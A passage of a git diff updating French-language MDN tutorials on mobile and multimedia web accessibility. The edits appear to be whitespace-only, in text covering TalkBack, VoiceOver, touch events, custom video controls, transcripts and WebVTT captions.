pratiques générales en matière de conception de sites Web et d'accessibilité. @@ -63,7 +63,7 @@ Le lecteur d’écran TalkBack est intégré au système d’exploitation Androi Pour l'activer, sélectionnez Paramètres> Accessibilité> TalkBack, puis appuyez sur le curseur pour l'activer. Suivez toute invite supplémentaire à l'écran qui vous est présentée. -**Note:** Les anciennes versions de TalkBack sont activées dans [slightly different ways](https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback). +**Note:** Les anciennes versions de TalkBack sont activées dans [slightly different ways](https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback). Lorsque TalkBack est activé, les commandes de base de votre appareil Android seront un peu différentes. Par exemple: @@ -80,7 +80,7 @@ Si vous souhaitez désactiver TalkBack: **Note:** Vous pouvez accéder à votre écran d'accueil à tout moment en glissant vers le haut et à gauche dans un mouvement fluide. Si vous avez plus d'un écran d'accueil, vous pouvez passer d'un écran à l'autre en faisant glisser deux doigts vers la gauche et vers la droite. . -Pour une liste plus complète des gestes TalkBack, voir [Use TalkBack gestures](https://support.google.com/accessibility/android/answer/6151827). +Pour une liste plus complète des gestes TalkBack, voir [Use TalkBack gestures](https://support.google.com/accessibility/android/answer/6151827). #### Déverrouiller le téléphone @@ -101,7 +101,7 @@ TalkBack vous permet d'accéder aux menus contextuels globaux et locaux, où que 3. Balayez vers la gauche et la droite pour naviguer entre les différentes options. . 4. Une fois que vous avez sélectionné l'option de votre choix, double-cliquez dessus pour la choisir. -Pour plus de détails sur toutes les options disponibles dans les menus contextuels global et local, voir [Use global and local context menus](https://support.google.com/accessibility/android/answer/6007066). +Pour plus de détails sur toutes les options disponibles dans les menus contextuels global et local, voir [Use global and local context menus](https://support.google.com/accessibility/android/answer/6007066). #### Parcourir des pages Web @@ -123,7 +123,7 @@ Par exemple, avec TalkBack activé: 7. Appuyez deux fois pour le sélectionner. Vous pouvez maintenant glisser à gauche et à droite pour vous déplacer entre les rubriques et les points de repère ARIA. 8. Pour revenir au mode par défaut, entrez de nouveau dans le menu contextuel local en balayant l'écran vers le haut, le curseur à droite, sélectionnez "Par défaut", puis tapez deux fois pour l'activer. -**Note:** Voir aussi [Get started on Android with TalkBack](https://support.google.com/accessibility/android/answer/6283677?hl=en&ref_topic=3529932) pour obtenir une documentation plus complète. +**Note:** Voir aussi [Get started on Android with TalkBack](https://support.google.com/accessibility/android/answer/6283677?hl=en&ref_topic=3529932) pour obtenir une documentation plus complète. ### iOS VoiceOver @@ -182,17 +182,17 @@ Essayons la navigation Web avec VoiceOver: 7. S*électionnez les en-têtes*. Vous pouvez maintenant glisser de haut en bas pour vous déplacer entre les titres de la page. -**Note:** Pour une référence plus complète couvrant les gestes VoiceOver disponibles et d'autres astuces sur le test d'accessibilité sur iOS, voir aussi [Test Accessibility on Your Device with VoiceOver](https://developer.apple.com/library/content/technotes/TestingAccessibilityOfiOSApps/TestAccessibilityonYourDevicewithVoiceOver/TestAccessibilityonYourDevicewithVoiceOver.html#//apple_ref/doc/uid/TP40012619-CH3). +**Note:** Pour une référence plus complète couvrant les gestes VoiceOver disponibles et d'autres astuces sur le test d'accessibilité sur iOS, voir aussi [Test Accessibility on Your Device with VoiceOver](https://developer.apple.com/library/content/technotes/TestingAccessibilityOfiOSApps/TestAccessibilityonYourDevicewithVoiceOver/TestAccessibilityonYourDevicewithVoiceOver.html#//apple_ref/doc/uid/TP40012619-CH3). ## Mécanismes de contrôle -Dans notre article relatif à l'accessibilité CSS et JavaScript, nous avons examiné l'idée d'événements spécifiques à un certain type de mécanisme de contrôle (see [Mouse-specific events](/fr/docs/Learn/Accessibility/CSS_and_JavaScript#mouse-specific_events)). En résumé, cela pose des problèmes d'accessibilité car d'autres mécanismes de contrôle ne peuvent pas activer la fonctionnalité associée. +Dans notre article relatif à l'accessibilité CSS et JavaScript, nous avons examiné l'idée d'événements spécifiques à un certain type de mécanisme de contrôle (see [Mouse-specific events](/fr/docs/Learn/Accessibility/CSS_and_JavaScript#mouse-specific_events)). En résumé, cela pose des problèmes d'accessibilité car d'autres mécanismes de contrôle ne peuvent pas activer la fonctionnalité associée. -Par exemple, l'événement [click](/fr/docs/Web/API/GlobalEventHandlers/onclick) est bon en termes d'accessibilité - un gestionnaire d'événements associé peut être appelé en cliquant sur l'élément sur lequel il est défini, en le sélectionnant et en appuyant sur Entrée / Retour ou en le tapant sur un périphérique à écran tactile. Essayez notre [simple-button-example.html](https://github.com/mdn/learning-area/blob/master/accessibility/mobile/simple-button-example.html) exemple ([see it running live](http://mdn.github.io/learning-area/accessibility/mobile/simple-button-example.html)) pour voir ce que nous entendons. . +Par exemple, l'événement [click](/fr/docs/Web/API/GlobalEventHandlers/onclick) est bon en termes d'accessibilité - un gestionnaire d'événements associé peut être appelé en cliquant sur l'élément sur lequel il est défini, en le sélectionnant et en appuyant sur Entrée / Retour ou en le tapant sur un périphérique à écran tactile. Essayez notre [simple-button-example.html](https://github.com/mdn/learning-area/blob/master/accessibility/mobile/simple-button-example.html) exemple ([see it running live](http://mdn.github.io/learning-area/accessibility/mobile/simple-button-example.html)) pour voir ce que nous entendons. . -Sinon, des événements spécifiques à la souris, tels que [mousedown](/fr/docs/Web/API/GlobalEventHandlers/onmousedown) et [mouseup](/fr/docs/Web/API/GlobalEventHandlers/onmouseup) créent des problèmes - leurs gestionnaires d'événements ne peuvent pas être appelés à l'aide de contrôles autres que la souris. +Sinon, des événements spécifiques à la souris, tels que [mousedown](/fr/docs/Web/API/GlobalEventHandlers/onmousedown) et [mouseup](/fr/docs/Web/API/GlobalEventHandlers/onmouseup) créent des problèmes - leurs gestionnaires d'événements ne peuvent pas être appelés à l'aide de contrôles autres que la souris. -Si vous essayez de contrôler notre exemple [simple-box-drag.html](https://github.com/mdn/learning-area/blob/master/accessibility/mobile/simple-box-drag.html) ([see example live](http://mdn.github.io/learning-area/accessibility/mobile/simple-box-drag.html)) avec un clavier ou une touche, vous verrez le problème. Cela se produit car nous utilisons un code tel que: +Si vous essayez de contrôler notre exemple [simple-box-drag.html](https://github.com/mdn/learning-area/blob/master/accessibility/mobile/simple-box-drag.html) ([see example live](http://mdn.github.io/learning-area/accessibility/mobile/simple-box-drag.html)) avec un clavier ou une touche, vous verrez le problème. Cela se produit car nous utilisons un code tel que: ```js div.onmousedown = function() { @@ -217,21 +217,21 @@ div.ontouchstart = function(e) { panel.ontouchend = stopMove; ``` -Nous avons fourni un exemple simple qui montre comment utiliser simultanément les événements de la souris et des événements tactiles — voir [multi-control-box-drag.html](https://github.com/mdn/learning-area/blob/master/accessibility/mobile/multi-control-box-drag.html) ([see the example live](http://mdn.github.io/learning-area/accessibility/mobile/multi-control-box-drag.html) aussi). +Nous avons fourni un exemple simple qui montre comment utiliser simultanément les événements de la souris et des événements tactiles — voir [multi-control-box-drag.html](https://github.com/mdn/learning-area/blob/master/accessibility/mobile/multi-control-box-drag.html) ([see the example live](http://mdn.github.io/learning-area/accessibility/mobile/multi-control-box-drag.html) aussi). -**Note:** Vous pouvez également voir des exemples fonctionnels montrant comment implémenter différents mécanismes de contrôle à [Implementing game control mechanisms](/fr/docs/Games/Techniques/Control_mechanisms). +**Note:** Vous pouvez également voir des exemples fonctionnels montrant comment implémenter différents mécanismes de contrôle à [Implementing game control mechanisms](/fr/docs/Games/Techniques/Control_mechanisms). ## Responsive design -[Responsive design](/fr/docs/Web/Apps/Progressive/Responsive) a l’habitude de faire en sorte que vos mises en page et les autres fonctionnalités de vos applications changent de manière dynamique en fonction de facteurs tels que la taille de l’écran et la résolution, de sorte qu’elles soient utilisables et accessibles aux utilisateurs de différents types d’appareils. . +[Responsive design](/fr/docs/Web/Apps/Progressive/Responsive) a l’habitude de faire en sorte que vos mises en page et les autres fonctionnalités de vos applications changent de manière dynamique en fonction de facteurs tels que la taille de l’écran et la résolution, de sorte qu’elles soient utilisables et accessibles aux utilisateurs de différents types d’appareils. . En particulier, les problèmes les plus courants auxquels le mobile doit faire face sont les suivants: -- Adéquation des mises en page pour les appareils mobiles. Une mise en page à plusieurs colonnes ne fonctionnera pas aussi bien sur un écran étroit, par exemple, et il faudra peut-être augmenter la taille du texte pour le rendre lisible. Ces problèmes peuvent être résolus en créant une mise en page réactive utilisant des technologies telles que [media queries](/fr/docs/Web/CSS/Media_Queries), [viewport](/fr/docs/Mozilla/Mobile/Viewport_meta_tag), et [flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox). -- Conserver les tailles d’image téléchargées. En général, les appareils de petite taille n’auront pas besoin d’images aussi volumineuses que leurs homologues de bureau, et ils risquent davantage d’être sur des connexions réseau lentes. Par conséquent, il est sage de servir des images plus petites sur des dispositifs à écran étroit, le cas échéant. Vous pouvez gérer cela en utilisant [responsive image techniques](/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images). -- Penser aux hautes résolutions. De nombreux appareils mobiles ont des écrans haute résolution et ont donc besoin d'images de résolution supérieure pour que l'affichage puisse continuer à être net et net. Encore une fois, vous pouvez servir des images selon vos besoins en utilisant des techniques d’image réactives. De plus, de nombreuses exigences en matière d'images peuvent être satisfaites grâce au format d'images vectorielles SVG, bien pris en charge par les navigateurs actuels. SVG a une petite taille de fichier et restera net quelle que soit la taille affichée (voir [Adding vector graphics to the web](/fr/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web) pour plus de détails ). +- Adéquation des mises en page pour les appareils mobiles. Une mise en page à plusieurs colonnes ne fonctionnera pas aussi bien sur un écran étroit, par exemple, et il faudra peut-être augmenter la taille du texte pour le rendre lisible. Ces problèmes peuvent être résolus en créant une mise en page réactive utilisant des technologies telles que [media queries](/fr/docs/Web/CSS/Media_Queries), [viewport](/fr/docs/Mozilla/Mobile/Viewport_meta_tag), et [flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox). +- Conserver les tailles d’image téléchargées. En général, les appareils de petite taille n’auront pas besoin d’images aussi volumineuses que leurs homologues de bureau, et ils risquent davantage d’être sur des connexions réseau lentes. Par conséquent, il est sage de servir des images plus petites sur des dispositifs à écran étroit, le cas échéant. Vous pouvez gérer cela en utilisant [responsive image techniques](/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images). +- Penser aux hautes résolutions. De nombreux appareils mobiles ont des écrans haute résolution et ont donc besoin d'images de résolution supérieure pour que l'affichage puisse continuer à être net et net. Encore une fois, vous pouvez servir des images selon vos besoins en utilisant des techniques d’image réactives. De plus, de nombreuses exigences en matière d'images peuvent être satisfaites grâce au format d'images vectorielles SVG, bien pris en charge par les navigateurs actuels. SVG a une petite taille de fichier et restera net quelle que soit la taille affichée (voir [Adding vector graphics to the web](/fr/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web) pour plus de détails ). -**Note:** Nous ne fournirons pas une analyse complète des techniques de conception réactive ici, car elles sont couvertes ailleurs au sein de MDN (voir les liens ci-dessus). +**Note:** Nous ne fournirons pas une analyse complète des techniques de conception réactive ici, car elles sont couvertes ailleurs au sein de MDN (voir les liens ci-dessus). ### Considérations mobiles spécifiques @@ -239,7 +239,7 @@ Il existe d'autres problèmes importants à prendre en compte lors de la créati #### Ne pas désactiver le zoom -En utilisant [viewport](/fr/docs/Mozilla/Mobile/Viewport_meta_tag), il est possible de désactiver le zoom, en utilisant un code comme celui-ci dans votre {{htmlelement("head")}}: +En utilisant [viewport](/fr/docs/Mozilla/Mobile/Viewport_meta_tag), il est possible de désactiver le zoom, en utilisant un code comme celui-ci dans votre {{htmlelement("head")}}: ```html <meta name="viewport" content="user-scalable=no"> @@ -253,20 +253,20 @@ Vous ne devriez jamais faire cela autant que possible - beaucoup de gens compten Lorsque vous implémentez un tel menu, vous devez vous assurer que le contrôle qui le révèle est accessible par les mécanismes de contrôle appropriés (normalement tactile pour mobile), comme indiqué dans {{anch("Control mechanisms")}} ci-dessus, et que le reste de la page est déplacé ou caché d'une manière ou d'une autre pendant l'accès au menu, afin d'éviter toute confusion lors de la navigation. . -Cliquez ici pour un [good hamburger menu example](http://fritz-weisshart.de/meg_men/). +Cliquez ici pour un [good hamburger menu example](http://fritz-weisshart.de/meg_men/). ## Entrée utilisateur Sur les appareils mobiles, la saisie de données a tendance à être plus agaçante pour les utilisateurs que l'expérience équivalente sur les ordinateurs de bureau. Il est plus pratique de taper du texte dans les entrées de formulaire à l'aide d'un clavier d'ordinateur de bureau ou d'ordinateur portable que d'un clavier virtuel à écran tactile ou d'un petit clavier physique mobile. -Pour cette raison, il vaut la peine d'essayer de minimiser la quantité de frappe nécessaire. Par exemple, au lieu de forcer les utilisateurs à saisir chaque fois le titre de leur travail en utilisant une entrée de texte standard, vous pouvez proposer un menu {{htmlelement("select")}} contenant les options les plus courantes (ce qui aide également à cohérence dans la saisie des données), et offrent une option "Autre" qui affiche un champ de texte dans lequel taper les valeurs aberrantes. Vous pouvez voir un exemple simple de cette idée en action dans [common-job-types.html](https://github.com/mdn/learning-area/blob/master/accessibility/mobile/common-job-types.html) ( voir le [common jobs example live](http://mdn.github.io/learning-area/accessibility/mobile/common-job-types.html)). +Pour cette raison, il vaut la peine d'essayer de minimiser la quantité de frappe nécessaire. Par exemple, au lieu de forcer les utilisateurs à saisir chaque fois le titre de leur travail en utilisant une entrée de texte standard, vous pouvez proposer un menu {{htmlelement("select")}} contenant les options les plus courantes (ce qui aide également à cohérence dans la saisie des données), et offrent une option "Autre" qui affiche un champ de texte dans lequel taper les valeurs aberrantes. Vous pouvez voir un exemple simple de cette idée en action dans [common-job-types.html](https://github.com/mdn/learning-area/blob/master/accessibility/mobile/common-job-types.html) ( voir le [common jobs example live](http://mdn.github.io/learning-area/accessibility/mobile/common-job-types.html)). -Il est également utile d’envisager l’utilisation de types de saisie de formulaire au format HTML5, tels que la date sur les plates-formes mobiles car ils les gèrent bien (Android et iOS, par exemple, affichent des widgets utilisables qui correspondent bien à l’expérience de l’appareil. Voir [html5-form-examples.html](https://github.com/mdn/learning-area/blob/master/accessibility/mobile/html5-form-examples.html) pour quelques exemples (voir [HTML5 form examples live](http://mdn.github.io/learning-area/accessibility/mobile/html5-form-examples.html)) — essayez de les charger et de les manipuler sur des appareils mobiles. Par exemple: +Il est également utile d’envisager l’utilisation de types de saisie de formulaire au format HTML5, tels que la date sur les plates-formes mobiles car ils les gèrent bien (Android et iOS, par exemple, affichent des widgets utilisables qui correspondent bien à l’expérience de l’appareil. Voir [html5-form-examples.html](https://github.com/mdn/learning-area/blob/master/accessibility/mobile/html5-form-examples.html) pour quelques exemples (voir [HTML5 form examples live](http://mdn.github.io/learning-area/accessibility/mobile/html5-form-examples.html)) — essayez de les charger et de les manipuler sur des appareils mobiles. Par exemple: -- Les types `number`, `tel`, et `email` affichent des claviers virtuels appropriés pour la saisie de numéros / numéros de téléphone. +- Les types `number`, `tel`, et `email` affichent des claviers virtuels appropriés pour la saisie de numéros / numéros de téléphone. - Les types `time` et `date` affichent des sélecteurs appropriés pour la sélection des heures et des dates. . -Si vous souhaitez fournir une solution différente pour les ordinateurs de bureau, vous pouvez toujours proposer un balisage différent à vos périphériques mobiles à l'aide de la détection de fonctionnalités. Reportez-vous à [input types](http://diveinto.html5doctor.com/detect.html#input-types) pour obtenir des informations brutes sur la détection de différents types d'entrée et consultez notre article [feature detection article](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection) pour en savoir plus. . +Si vous souhaitez fournir une solution différente pour les ordinateurs de bureau, vous pouvez toujours proposer un balisage différent à vos périphériques mobiles à l'aide de la détection de fonctionnalités. Reportez-vous à [input types](http://diveinto.html5doctor.com/detect.html#input-types) pour obtenir des informations brutes sur la détection de différents types d'entrée et consultez notre article [feature detection article](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection) pour en savoir plus. . ## Résumé @@ -274,8 +274,8 @@ Dans cet article, nous vous avons fourni des détails sur les problèmes courant ### Voir également -- [Guidelines For Mobile Web Development](https://www.smashingmagazine.com/guidelines-for-mobile-web-development/) — Une liste d'articles dans Smashing Magazine couvrant différentes techniques de conception de sites Web mobiles. -- [Make your site work on touch devices](http://www.creativebloq.com/javascript/make-your-site-work-touch-devices-51411644) — Article utile sur l'utilisation d'événements tactiles pour que les interactions fonctionnent sur les appareils mobiles. +- [Guidelines For Mobile Web Development](https://www.smashingmagazine.com/guidelines-for-mobile-web-development/) — Une liste d'articles dans Smashing Magazine couvrant différentes techniques de conception de sites Web mobiles. +- [Make your site work on touch devices](http://www.creativebloq.com/javascript/make-your-site-work-touch-devices-51411644) — Article utile sur l'utilisation d'événements tactiles pour que les interactions fonctionnent sur les appareils mobiles. {{PreviousMenuNext("Learn/Accessibility/Multimedia","Learn/Accessibility/Accessibility_troubleshooting", "Learn/Accessibility")}} diff --git a/files/fr/learn/accessibility/multimedia/index.md b/files/fr/learn/accessibility/multimedia/index.md index 3586388ef4..50866561e5 100644 --- a/files/fr/learn/accessibility/multimedia/index.md +++ b/files/fr/learn/accessibility/multimedia/index.md @@ -42,7 +42,7 @@ Le multimédia est une autre catégorie de contenu susceptible de créer des pro ## Multimédia et accessibilité -Jusqu'ici, dans ce module, nous avons examiné une variété de contenus et ce qui doit être fait pour en assurer l'accessibilité, du simple contenu textuel aux tableaux de données, en passant par les images, les contrôles natifs tels que les éléments de formulaire et les boutons, et des structures de balisage encore plus complexes. (avec [WAI-ARIA](/fr/docs/Learn/Accessibility/WAI-ARIA_basics) l'attribut). +Jusqu'ici, dans ce module, nous avons examiné une variété de contenus et ce qui doit être fait pour en assurer l'accessibilité, du simple contenu textuel aux tableaux de données, en passant par les images, les contrôles natifs tels que les éléments de formulaire et les boutons, et des structures de balisage encore plus complexes. (avec [WAI-ARIA](/fr/docs/Learn/Accessibility/WAI-ARIA_basics) l'attribut). Cet article, par contre, examine une autre catégorie générale de contenu pour laquelle il est difficile d’assurer l’accessibilité au multimédia. Les images, les vidéos, les éléments {{htmlelement ("canvas")}} les animations Flash, etc. ne sont pas aussi faciles à comprendre par les lecteurs d'écran ou à naviguer au clavier, et nous devons leur donner un coup de main. @@ -50,7 +50,7 @@ Mais ne désespérez pas - nous vous aiderons ici à naviguer parmi les techniqu ## Simple images -Nous avons déjà couvert des alternatives textuelles simples pour les images HTML dans notre article [HTML : une bonne base pour l'accessibilité](/fr/docs/Apprendre/a11y/HTML) — vous pouvez vous y référer pour plus de détails. En bref, vous devez vous assurer que, dans la mesure du possible, le contenu visuel dispose d’un texte alternatif que les lecteurs d’écran peuvent lire et lire à leurs utilisateurs. +Nous avons déjà couvert des alternatives textuelles simples pour les images HTML dans notre article [HTML : une bonne base pour l'accessibilité](/fr/docs/Apprendre/a11y/HTML), vous pouvez vous y référer pour plus de détails. En bref, vous devez vous assurer que, dans la mesure du possible, le contenu visuel dispose d’un texte alternatif que les lecteurs d’écran peuvent lire et lire à leurs utilisateurs. Par exemple: @@ -65,7 +65,7 @@ La mise en œuvre de contrôles audio / vidéo sur le Web ne devrait pas poser d ### Le problème avec les contrôles HTML5 natifs -Les instances audio et vidéo HTML5 sont même fournies avec un ensemble de commandes intégrées vous permettant de contrôler le contenu multimédia directement. Par exemple (voir `native-controls.html` [code source](https://github.com/mdn/learning-area/blob/master/accessibility/multimedia/native-controls.html) et [en direct](https://mdn.github.io/learning-area/accessibility/multimedia/native-controls.html)): +Les instances audio et vidéo HTML5 sont même fournies avec un ensemble de commandes intégrées vous permettant de contrôler le contenu multimédia directement. Par exemple (voir `native-controls.html` [code source](https://github.com/mdn/learning-area/blob/master/accessibility/multimedia/native-controls.html) et [en direct](https://mdn.github.io/learning-area/accessibility/multimedia/native-controls.html)): ```html <audio controls> @@ -104,7 +104,7 @@ Prenons l'exemple vidéo ci-dessus et ajoutons-leur des contrôles personnalisé #### Basic setup -Tout d'abord, prenez une copie de notre [custom-controls-start.html](https://github.com/mdn/learning-area/blob/master/accessibility/multimedia/custom-controls-start.html), [custom-controls.css](https://github.com/mdn/learning-area/blob/master/accessibility/multimedia/custom-controls.css), [rabbit320.mp4](https://raw.githubusercontent.com/mdn/learning-area/master/accessibility/multimedia/rabbit320.mp4), et [rabbit320.webm](https://raw.githubusercontent.com/mdn/learning-area/master/accessibility/multimedia/rabbit320.webm) fichiers et enregistrez-les dans un nouveau répertoire sur votre disque dur . +Tout d'abord, prenez une copie de notre [custom-controls-start.html](https://github.com/mdn/learning-area/blob/master/accessibility/multimedia/custom-controls-start.html), [custom-controls.css](https://github.com/mdn/learning-area/blob/master/accessibility/multimedia/custom-controls.css), [rabbit320.mp4](https://raw.githubusercontent.com/mdn/learning-area/master/accessibility/multimedia/rabbit320.mp4), et [rabbit320.webm](https://raw.githubusercontent.com/mdn/learning-area/master/accessibility/multimedia/rabbit320.webm) fichiers et enregistrez-les dans un nouveau répertoire sur votre disque dur . Créez un nouveau fichier appelé main.js et enregistrez-le dans le même répertoire . @@ -184,9 +184,9 @@ stopBtn.onclick = function() { }; ``` -Il n'y a pas de fonction `stop()` disponible sur {{domxref("HTMLMediaElement")}}s, nous le mettons donc en `pause()` et, dans le même temps, définissons la valeur `currentTime` sur 0. +Il n'y a pas de fonction `stop()` disponible sur {{domxref("HTMLMediaElement")}}s, nous le mettons donc en `pause()` et, dans le même temps, définissons la valeur `currentTime` sur 0. -Ensuite, nos boutons de rembobinage et d’avance rapide - ajoutez les blocs suivants au bas de votre code: +Ensuite, nos boutons de rembobinage et d’avance rapide - ajoutez les blocs suivants au bas de votre code: ```js rwdBtn.onclick = function() { @@ -203,9 +203,9 @@ fwdBtn.onclick = function() { }; ``` -Celles-ci sont très simples, il suffit d’ajouter ou de soustraire 3 secondes à `currentTime` chaque fois qu’on clique dessus. Dans un vrai lecteur vidéo, vous voudrez probablement une barre de recherche plus élaborée, ou similaire. +Celles-ci sont très simples, il suffit d’ajouter ou de soustraire 3 secondes à `currentTime` chaque fois qu’on clique dessus. Dans un vrai lecteur vidéo, vous voudrez probablement une barre de recherche plus élaborée, ou similaire. -Notez que nous vérifions également si la durée `currentTime` est supérieure à la durée totale du support ou si le support n'est pas en cours de lecture lorsque le bouton Fwd est enfoncé. Si l'une ou l'autre de ces conditions est vraie, nous arrêtons simplement la vidéo pour éviter que l'interface utilisateur ne se détériore si elle tente d'effectuer une avance rapide lorsque la vidéo n'est pas en cours de lecture ou si la fin de la vidéo est terminée. . +Notez que nous vérifions également si la durée `currentTime` est supérieure à la durée totale du support ou si le support n'est pas en cours de lecture lorsque le bouton Fwd est enfoncé. Si l'une ou l'autre de ces conditions est vraie, nous arrêtons simplement la vidéo pour éviter que l'interface utilisateur ne se détériore si elle tente d'effectuer une avance rapide lorsque la vidéo n'est pas en cours de lecture ou si la fin de la vidéo est terminée. . Enfin, ajoutez ce qui suit à la fin du code pour contrôler l’affichage du temps écoulé: @@ -243,7 +243,7 @@ Cela vous donne une idée de base sur la manière d’ajouter des fonctionnalit - [Video player styling basics](/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/Video_player_styling_basics) - [Creating a cross-browser video player](/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player) -Nous avons également créé un exemple avancé pour montrer comment créer un système orienté objet permettant de rechercher tous les lecteurs vidéo et audio de la page (quel que soit leur nombre) et d'y ajouter nos contrôles personnalisés. Voir [custom-controls-oojs](http://mdn.github.io/learning-area/accessibility/multimedia/custom-controls-OOJS/) ( également [voir le code source](https://github.com/mdn/learning-area/tree/master/accessibility/multimedia/custom-controls-OOJS)). +Nous avons également créé un exemple avancé pour montrer comment créer un système orienté objet permettant de rechercher tous les lecteurs vidéo et audio de la page (quel que soit leur nombre) et d'y ajouter nos contrôles personnalisés. Voir [custom-controls-oojs](http://mdn.github.io/learning-area/accessibility/multimedia/custom-controls-OOJS/) ( également [voir le code source](https://github.com/mdn/learning-area/tree/master/accessibility/multimedia/custom-controls-OOJS)). ## Transcriptions audio @@ -251,9 +251,9 @@ Pour permettre aux sourds d'accéder au contenu audio, vous devez créer des tra En termes de création de la transcription, vos options sont les suivantes: -- Services commerciaux - Vous pouvez payer un professionnel pour effectuer la transcription, voir par exemple des entreprises telles que [Scribie](https://scribie.com/), [Casting Words](https://castingwords.com/), ou [Rev](https://www.rev.com/). Regardez autour de vous et demandez conseil pour vous assurer de trouver une entreprise fiable avec laquelle vous pourrez travailler efficacement. +- Services commerciaux - Vous pouvez payer un professionnel pour effectuer la transcription, voir par exemple des entreprises telles que [Scribie](https://scribie.com/), [Casting Words](https://castingwords.com/), ou [Rev](https://www.rev.com/). Regardez autour de vous et demandez conseil pour vous assurer de trouver une entreprise fiable avec laquelle vous pourrez travailler efficacement. - Communauté / base / auto-transcription - Si vous faites partie d'une communauté ou d'une équipe active sur votre lieu de travail, vous pouvez leur demander de l'aide pour faire les traductions. Vous pouvez même essayer de les faire vous-même. -- Services automatisés - Des services d'intelligence artificielle sont disponibles, tels que [Trint](https://trint.com). Téléchargez un fichier vidéo / audio sur le site, qui le transcrivera automatiquement pour vous. Sur YouTube, vous pouvez choisir de générer des sous-titres / transcriptions automatisés. Selon la clarté de l'audio parlé, la qualité de la transcription résultante variera considérablement. . +- Services automatisés - Des services d'intelligence artificielle sont disponibles, tels que [Trint](https://trint.com). Téléchargez un fichier vidéo / audio sur le site, qui le transcrivera automatiquement pour vous. Sur YouTube, vous pouvez choisir de générer des sous-titres / transcriptions automatisés. Selon la clarté de l'audio parlé, la qualité de la transcription résultante variera considérablement. . Comme dans la plupart des choses de la vie, vous avez tendance à avoir ce que vous payez. la précision et le temps requis pour produire la transcription varient selon les services. Si vous payez une transcription pour une entreprise digne de confiance ou un service d’AI, vous le ferez probablement rapidement et avec une qualité élevée. Si vous ne voulez pas payer pour cela, vous le ferez probablement avec une qualité inférieure et / ou lentement. @@ -261,9 +261,9 @@ Il n’est pas acceptable de publier une ressource audio mais de promettre de pu ### Exemples de transcription -Si vous utilisez un service automatisé, vous devrez probablement utiliser l'interface utilisateur fournie par l'outil. Par exemple, jetez un coup d’œil à [Audio Transcription Sample 1](https://www.youtube.com/watch?v=zFFBsj97Od8) _et choisissez plus > Transcript_. +Si vous utilisez un service automatisé, vous devrez probablement utiliser l'interface utilisateur fournie par l'outil. Par exemple, jetez un coup d’œil à [Audio Transcription Sample 1](https://www.youtube.com/watch?v=zFFBsj97Od8) _et choisissez plus > Transcript_. -Si vous créez votre propre interface utilisateur pour présenter votre audio et la transcription associée, vous pouvez le faire comme bon vous semble, mais il serait peut-être judicieux de l'inclure dans un panneau pouvant être affiché / masqué; voir notre exemple [transcription audio-ui](https://mdn.github.io/learning-area/accessibility/multimedia/audio-transcript-ui/) exemple (voir aussi le [code source](https://github.com/mdn/learning-area/tree/master/accessibility/multimedia/audio-transcript-ui)). +Si vous créez votre propre interface utilisateur pour présenter votre audio et la transcription associée, vous pouvez le faire comme bon vous semble, mais il serait peut-être judicieux de l'inclure dans un panneau pouvant être affiché / masqué; voir notre exemple [transcription audio-ui](https://mdn.github.io/learning-area/accessibility/multimedia/audio-transcript-ui/) exemple (voir aussi le [code source](https://github.com/mdn/learning-area/tree/master/accessibility/multimedia/audio-transcript-ui)). ### Descriptions audio @@ -317,7 +317,7 @@ Un fichier WebVTT typique ressemblera à ceci: Pour que ceci soit affiché avec la lecture du média HTML, vous devez: - Enregistrez-le en tant que fichier .vtt dans un endroit approprié. -- Lien vers le fichier .vtt avec l'élément {{htmlelement("track")}} . `<track>` devrait être placé dans `<audio>` ou `<video>`, mais après tout `<source>` éléments . Utilisez l’attribut {{htmlattrxref ("kind", "track")}} pour indiquer si les signaux sont des sous-titres, des légendes ou des descriptions. De plus, utilisez {{htmlattrxref ("srclang", "track")}} pour indiquer au navigateur la langue dans laquelle vous avez écrit les sous-titres. . +- Lien vers le fichier .vtt avec l'élément {{htmlelement("track")}} . `<track>` devrait être placé dans `<audio>` ou `<video>`, mais après tout `<source>` éléments . Utilisez l’attribut {{htmlattrxref ("kind", "track")}} pour indiquer si les signaux sont des sous-titres, des légendes ou des descriptions. De plus, utilisez {{htmlattrxref ("srclang", "track")}} pour indiquer au navigateur la langue dans laquelle vous avez écrit les sous-titres. . Voici un exemple: @@ -333,7 +333,7 @@ Cela donnera une vidéo avec des sous-titres affichés, un peu comme ceci:  -Pour plus de détails, veuillez lire [Ajouter des légendes et des sous titres à des vidéos HTML 5](/fr/docs/Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video). Vous trouverez [un exemple](http://iandevlin.github.io/mdn/video-player-with-captions/) qui accompagne cet article sur Github, écrit par Ian Devlin (voir aussi le [code source](https://github.com/iandevlin/iandevlin.github.io/tree/master/mdn/video-player-with-captions).) Cet exemple utilise du JavaScript. pour permettre aux utilisateurs de choisir entre différents sous-titres. Notez que pour activer les sous-titres, vous devez appuyer sur le bouton "CC" et sélectionner une option - Anglais, Allemand ou Español. +Pour plus de détails, veuillez lire [Ajouter des légendes et des sous titres à des vidéos HTML 5](/fr/docs/Web/Guide/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video). Vous trouverez [un exemple](http://iandevlin.github.io/mdn/video-player-with-captions/) qui accompagne cet article sur Github, écrit par Ian Devlin (voir aussi le [code source](https://github.com/iandevlin/iandevlin.github.io/tree/master/mdn/video-player-with-captions).) Cet exemple utilise du JavaScript. pour permettre aux utilisateurs de choisir entre différents sous-titres. Notez que pour activer les sous-titres, vous devez appuyer sur le bouton "CC" et sélectionner une option - Anglais, Allemand ou Español. > **Note :** Les pistes de texte et les transcriptions vous aident également avec {{glossary ("SEO")}}, car les moteurs de recherche se développent particulièrement bien avec le texte. Les pistes de texte permettent même aux moteurs de recherche de se lier directement à un endroit en cours de vidéo. @@ -348,7 +348,7 @@ Les sections ci-dessus ne couvrent pas tous les types de contenu multimédia que Pour ce type de contenu, vous devez traiter les problèmes d’accessibilité au cas par cas. Dans 